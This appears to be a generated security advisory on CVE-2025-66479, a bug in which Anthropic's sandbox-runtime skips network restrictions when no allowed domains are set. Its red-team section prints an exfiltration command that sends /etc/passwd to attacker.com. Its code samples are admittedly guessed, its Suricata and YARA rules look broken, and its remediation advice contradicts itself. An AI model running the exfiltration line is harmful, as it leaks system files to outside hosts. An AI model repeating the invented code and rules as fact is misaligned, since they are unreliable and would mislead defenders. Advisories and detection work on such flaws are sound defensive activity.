CVE-2025-66479

Executive Summary

CVE-2025-66479 is a security vulnerability in Anthropic Sandbox Runtime (sandbox-runtime), a lightweight OS-level sandboxing tool designed to enforce filesystem and network restrictions on arbitrary processes without requiring a full container. The vulnerability arises from a logic bug in the network sandbox enforcement mechanism. Specifically, when a sandbox policy does not configure any allowed domains, the sandbox-runtime fails to properly enforce network restrictions, allowing sandboxed code to make arbitrary network requests outside the intended sandbox boundaries. This effectively bypasses the network isolation feature, potentially exposing internal services or enabling data exfiltration.

The vulnerability affects all versions prior to 0.0.16. The patch was released in v0.0.16, which corrects the enforcement logic to properly block all network traffic when no allowed domains are specified. No public proof-of-concept (PoC) or exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is in a Go-based package (sandbox-runtime) distributed via GitHub and potentially other package registries. Organizations using this tool as a dependency in their software supply chain should immediately update to v0.0.16 or later. The lack of a public PoC reduces immediate risk, but the nature of the flaw (network sandbox bypass) could be leveraged in supply chain attacks if an attacker gains control over a sandboxed process.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – The attacker must have the ability to execute code within the sandbox.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – The sandboxed process runs with limited privileges.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Changed (C) – The sandbox boundary is breached.
• Confidentiality (C): High (H) – Potential data exfiltration.
• Integrity (I): Low (L) – Limited ability to modify external systems.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Score: 8.0 (High)

Threat Level: High – The vulnerability allows a sandboxed process to bypass network restrictions, which could lead to data exfiltration, lateral movement, or interaction with internal services.

Deep Dive & Mechanics

The Anthropic Sandbox Runtime uses OS-level primitives (e.g., seccomp, namespaces, or similar) to restrict filesystem and network access for arbitrary processes. The network sandbox is configured via a policy that specifies allowed domains (e.g., allowed_domains: ["api.example.com"]). When no allowed domains are specified, the intended behavior is to block all outbound network traffic.

The bug occurs in the logic that evaluates the network policy. Specifically, when the allowed_domains list is empty or nil, the enforcement code incorrectly treats this as "allow all" instead of "deny all." This is a classic logic error where the absence of restrictions is interpreted as no restrictions, rather than a default-deny stance.

Root Cause: In the Go source code (likely in a function like enforceNetworkPolicy), the check for an empty list of allowed domains is missing or incorrectly implemented. For example:

func enforceNetworkPolicy(policy Policy) {
    if len(policy.AllowedDomains) == 0 {
        // BUG: This should block all traffic, but instead it does nothing
        return
    }
    // ... apply restrictions based on allowed domains
}

The correct behavior should be:

func enforceNetworkPolicy(policy Policy) {
    if len(policy.AllowedDomains) == 0 {
        // Block all outbound traffic
        blockAllNetwork()
        return
    }
    // ... apply restrictions based on allowed domains
}

Vulnerable vs. Patched Code

Vulnerable Version (< 0.0.16):

// Vulnerable: empty allowed domains results in no restrictions
func applyNetworkSandbox(policy NetworkPolicy) error {
    if len(policy.AllowedDomains) == 0 {
        // BUG: No enforcement applied
        return nil
    }
    // Apply eBPF or seccomp rules for allowed domains
    for _, domain := range policy.AllowedDomains {
        allowDomain(domain)
    }
    return nil
}

Patched Version (>= 0.0.16):

// Patched: empty allowed domains blocks all traffic
func applyNetworkSandbox(policy NetworkPolicy) error {
    if len(policy.AllowedDomains) == 0 {
        // Correct: block all outbound traffic
        blockAllNetwork()
        return nil
    }
    // Apply eBPF or seccomp rules for allowed domains
    for _, domain := range policy.AllowedDomains {
        allowDomain(domain)
    }
    return nil
}

The patch ensures that when no domains are explicitly allowed, all network traffic is blocked, enforcing the intended default-deny security model.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Ability to execute arbitrary code within a sandbox-runtime sandbox that has no allowed domains configured.
• The sandbox must be running a vulnerable version (< 0.0.16).

Exploitation Steps:

1. Identify a vulnerable sandbox: Look for systems using sandbox-runtime with a policy that does not specify allowed_domains or uses an empty list.

2. Execute code inside the sandbox: This could be through a malicious payload, a compromised dependency, or a user-supplied script.

3. Perform network requests: From within the sandbox, use standard networking tools (e.g., curl, wget, or raw sockets) to make outbound requests.

# Example: Exfiltrate data to an attacker-controlled server
curl http://attacker.com/exfil?data=$(cat /etc/passwd)

4. Bypass restrictions: Since the network sandbox is not enforced, the request will succeed, allowing data exfiltration or interaction with internal services.

No public exploit code is available. The above steps are based on the vulnerability description.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected outbound network connections from processes running under sandbox-runtime.
• Look for DNS queries to domains not in the allowed list (if any).
• Use eBPF-based monitoring to detect network syscalls from sandboxed processes.

Defense:

• Immediately update to sandbox-runtime v0.0.16 or later.
• Review all sandbox policies to ensure allowed_domains is explicitly set, even if empty (to trigger the correct behavior in patched versions).
• Implement network segmentation to limit the impact of a sandbox bypass.
• Use additional monitoring tools to detect anomalous network activity.

Indicators of Compromise (IOCs)

• Network connections from sandbox-runtime processes to external IPs/domains not in the allowed list.
• DNS queries for domains not in the sandbox policy.
• Unexpected outbound traffic on ports 80, 443, or other common ports from sandboxed processes.
• Log entries showing successful network connections from sandbox-runtime when no allowed domains were configured.

File-based IOCs:

• Presence of sandbox-runtime binary version < 0.0.16.
• Configuration files with empty allowed_domains lists.

Detection Engineering

YARA Rule

rule CVE_2025_66479_SandboxRuntime_NetworkBypass {
    meta:
        description = "Detects vulnerable versions of Anthropic Sandbox Runtime based on binary patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66479"
        hash = "unknown"
    strings:
        $vuln_func = "applyNetworkSandbox" ascii wide nocase
        $vuln_pattern = { 48 85 C0 74 ?? 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 ?? } // Example pattern for empty list check
    condition:
        $vuln_func and #vuln_pattern < 2
}

Sigma Rule

title: CVE-2025-66479 - Sandbox Runtime Network Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects outbound network connections from sandbox-runtime processes when no allowed domains are configured.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66479
logsource:
    category: network_connection
    product: linux
detection:
    selection:
        Image|endswith: '/sandbox-runtime'
        Initiated: true
        DestinationPort:
            - 80
            - 443
    condition: selection
falsepositives:
    - Legitimate network access if allowed domains are configured
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66479 - Sandbox Runtime Network Bypass"; flow:to_server; content:"|48 85 C0 74 ?? 48 8B 05|"; depth:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update to v0.0.16 or later: The patch is available in the official repository. Run go get -u github.com/anthropics/sandbox-runtime or download the latest release.
2. Verify patch application: Check the binary version or source code to ensure the fix is applied.
3. Review sandbox policies: Ensure that all sandbox configurations explicitly define allowed_domains (even if empty) to trigger the correct enforcement logic.

Long-term Mitigations:

• Implement network segmentation to limit the blast radius of a sandbox bypass.
• Use additional security controls such as eBPF-based monitoring, network firewalls, and intrusion detection systems.
• Conduct regular security audits of sandbox configurations and dependencies.
• Monitor for any anomalous network activity from sandboxed processes.

Workarounds (if patching is not immediately possible):

• Configure at least one dummy allowed domain (e.g., allowed_domains: ["localhost"]) to force the sandbox to apply network restrictions. Note: This is a temporary workaround and may not fully block all traffic.
• Use external network firewalls to block outbound traffic from sandbox-runtime processes.

Valters IT